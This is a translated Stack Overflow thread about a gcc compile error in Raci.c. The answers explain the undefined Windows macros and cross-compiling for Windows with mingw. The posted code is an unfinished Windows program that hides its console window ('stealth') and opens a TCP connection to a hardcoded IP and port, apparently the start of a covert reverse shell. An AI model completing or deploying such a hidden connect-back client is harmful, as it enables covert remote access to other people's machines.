【问题标题】:Error compiling in C [ error: expected ‘=’, ‘,’, ‘;’ ... ]在 C 中编译时出错 [错误:预期的‘=’、‘,’、‘;’...]
【发布时间】:2021-12-29 22:06:58
【问题描述】:

当我想通过执行gcc Raci.c 编译Raci.c 文件时,我收到以下错误:

Raci.c:32:14: error: expected ‘=’, ‘,’, ‘;’, ‘asm’ or ‘__attribute__’ before ‘WinMain’ 32 | int APIENTRY WinMain(HINSTANCE hInstance, HINSTANCE, hPrev, LPSTR lpCmdLine, int nCmdShow) {

我找了好久都没找到解决办法。

提前致谢,如果这是一个“愚蠢”的错误,我深表歉意。我自己学习 C 有一段时间了。

我附上Raci.c的内容:

       │ File: Raci.c
#include<stdio.h>     // Libreria estandar para valores entrada/salida
#include<stdlib.h>    // Define 4 variables, macros y otras funciones generales
#include<unistd.h>    // Proporciones acceso a la API de POSIX (Operating System Interface). Estander IEEE que permite compatibilidad entre diferente S.O.

#ifdef _WIN32
#include<winsock2.h>  // Nos permite establecer conexiones con el servidor
#include<windows.h>   // Definimos que trabajaremos con Windows y nos aporta compatibilidad con ciertas funciones
#include<winuser.h>   // Permite diferentes funciones Windows Based
#include<wininet.h>   // Permite conexiones inet (detallar)
#include<windowsx.h>  // Mas compatibilidad Windows
#endif

#include<string.h>    // Permite manipular arrays de characteres comodamente (strings(
#include<sys/stat.h>  // Libreria C POSIX que contiene construcciones que facilitan obtención de información sobre atributos de archivos
#include<sys/types.h> // Diferentes variables y estructuras...


/*
Función main/prinicpal donde estableceremos conexión con el servidor y especificaremos el resto de funciones.

APIENTRY => Alias de WINAPI (Explicamos al compilador como manejar el stack y argumentos al llamar la función)


        PARAMETERS :

        HINSTANCE hInstance => Identificador de instancia / modulo. El S.O. utiliza este valor para identificar el EXE cuando es cargador en memoria.
        HINSTANCE hPrev     => Identificador de instancia previo
        LPSTR lpCmdLine     => Contiene la linea de comandos en un String Unicode (Nos da la shell utilizando un charset en casi todos los idiomas (UNICODE))
        int nCmdShow        => Indicador de tamaño de ventana CMD (pequeña, grande, invisible ...)
*/

// Inicialización de variables que deben ser aplicadas en otras funciones
int sock;

int APIENTRY WinMain(HINSTANCE hInstance, HINSTANCE hPrev, LPSTR lpCmdLine, int nCmdShow) {

        // Inicializaciones de consola

        HWND stealth; // Identificador de ventana parte de Win32 API
        AllocateConsole(); // Inicializa nueva consola permitiendo entrada / salida y control de errores de esta misma.
        stealth = FindWindowA("ConsoleWindowClass", NULL); // Función para encontrar la ventana con ClassName "ConsoleWindowClass" sin especificar titulo. Busca la ventana / proceso

        ShowWindow(stealth,0); // Inicializamos la consola sin mostrarla

        struct sockaddr_in ServAddr; // Definición multiple de variables sockaddr_in y ServAddr
        unsigned short ServPort;     // Inicializamos variable unsigned (solo valores positivos) de tipo integer short
        char *ServIP;                // Inicializamos el pointer *ServIP
        WSDATA wsaData;              // Estructura que contiene información relacionada con sockets de Windows (Define como el software de aplicación accede a servidores de red especialmente TCP/IP)

        ServIP = "192.168.1.133";    // Indicamos la IP del servidor que esperará conexión (localhost)
        ServPort = "50005";          // Puerto por el que escucharemos / esperaremos conexión


        // Tratamos de inicializar Winsock DLL para el proceso de la aplicación. Si = 0 OK | Si != 0 WRONG
        if(WSAStartup(MAKEWORD(2,0), &wsaData) != 0) {
                exit(1);
        }

        sock = socket(AF_INET, SOCK_STREAM,0); // AF_INET => Indicamos que estableceremos conexión sobre IPv4
                                               // SOCK_STREAM => Indicamos que trabajaremos sobre el protocolo TCP

        memset(&ServAddr, 0, sizeof(ServAddr));         // Limpiamos los bytes a 0 todo el contenido
        Serv.Addr.sin_family = AF_INET;                 // Especificamos que es IPv4
        Serv.Addr.sin_addr.s_addr = inet_addr(ServIP);  // Formateamos a IPv4 la IP introducida en ServIP
        Serv.Addr/sin_port = htons(ServPort);           // Especificamos y formateamos el puerto introducido 

        // IP:PUERTO

        connect(sock, (struct))

} // Main function end


【问题讨论】:

  • 对西班牙语的 cmets 感到抱歉。我很关注cmets
  • 首先,确保_WIN32 被实际定义。 (一种方法是在您的#ifdef _WIN32 块中放置一个错误的语句,并确保编译器在您编译时在那里显示错误。)然后确保您的一个Windows 标头实际上为您提供了APIENTRY 的定义。您也可以尝试完全删除 APIENTRY
  • 也很可能不是这段代码的问题,而是配置问题,eg,当你似乎想要一个 Windows 时试图输出一个命令行程序可执行。您能告诉我们更多关于您使用的工具链的信息吗? -mwindows 如果gcc?
  • edit 删除完全讨厌的行号装饰。代码应该被格式化,以便我们可以轻松地复制/粘贴它并编译它以帮助您解决它。另请参阅提供minimal reproducible example 的指南。
  • 好的,我现在就做

标签: c visual-studio compiler-errors


【解决方案1】:

APIENTRY 未在您的程序包含的任何标头中定义。

对于使用 Windows API 的程序,您应该在编译器命令行上定义 _WIN32,以便它包含定义所有这些符号和类型的操作系统特定标头...

试试:gcc -D_WIN32 Raci.c -o Raci.o

正如 David Grayson 所评论的,您的编译器可能没有正确安装以编译 Windows 程序。

【讨论】:

  • 还有HINSTANCE, hPrev => HINSTANCE hPrev
  • @0___________ 是的,已经解决了!
  • @chqrlie 那么应该修改什么??
  • APIENTRY 由 Microsoft 实际记录,用于 WinMain 函数:docs.microsoft.com/en-us/windows/win32/api/winbase/…_WIN32 应该由编译本机 Windows 程序的任何编译器自动定义。
  • @DavidGrayson:那么 OP 使用的 gcc 版本可能不是启用 Windows 的版本。
【解决方案2】:

我会回答我的问题,以防有人遇到同样的错误。

当想要通过执行gcc Raci.c 来编译C Raci.c 文件时,会发生错误:

Raci.c:32:14: error: expected ‘=’, ‘,’, ‘;’, ‘asm’ or ‘__attribute__’ before ‘WinMain’ 32 | int APIENTRY WinMain(HINSTANCE hInstance, HINSTANCE hPrev, LPSTR lpCmdLine, int nCmdShow) {

这是因为gcc 编译器将基于 Linux 的系统作为“目标/目标”,当想要使用“目标/目标”编译头文件/头文件时,基于 Windows 的编译器会跳过上述错误。

从表示来自 gcc 的目标的行中摘录:
gcc -v : Target: x86_64-linux-gnu

解决方案
使用 mingw32 包,我们可以在我们的 Linux 系统上编译和链接头文件到 Windows。

  • 安装mingw32 => apt install mingw-64
  • 示例编译/使用 x64 位 => x86_64-w64-mingw32-g ++ [file.c]
  • 示例编译/使用 32 位 => i686-w64-mingw32-g ++ [file.c]

【讨论】:

  • 希望我已经详细解释了解决方案
猜你喜欢
  • 1970-01-01
  • 2022-09-29
  • 1970-01-01
  • 1970-01-01
  • 1970-01-01
  • 1970-01-01
  • 1970-01-01
  • 1970-01-01
  • 2013-11-15
相关资源
最近更新 更多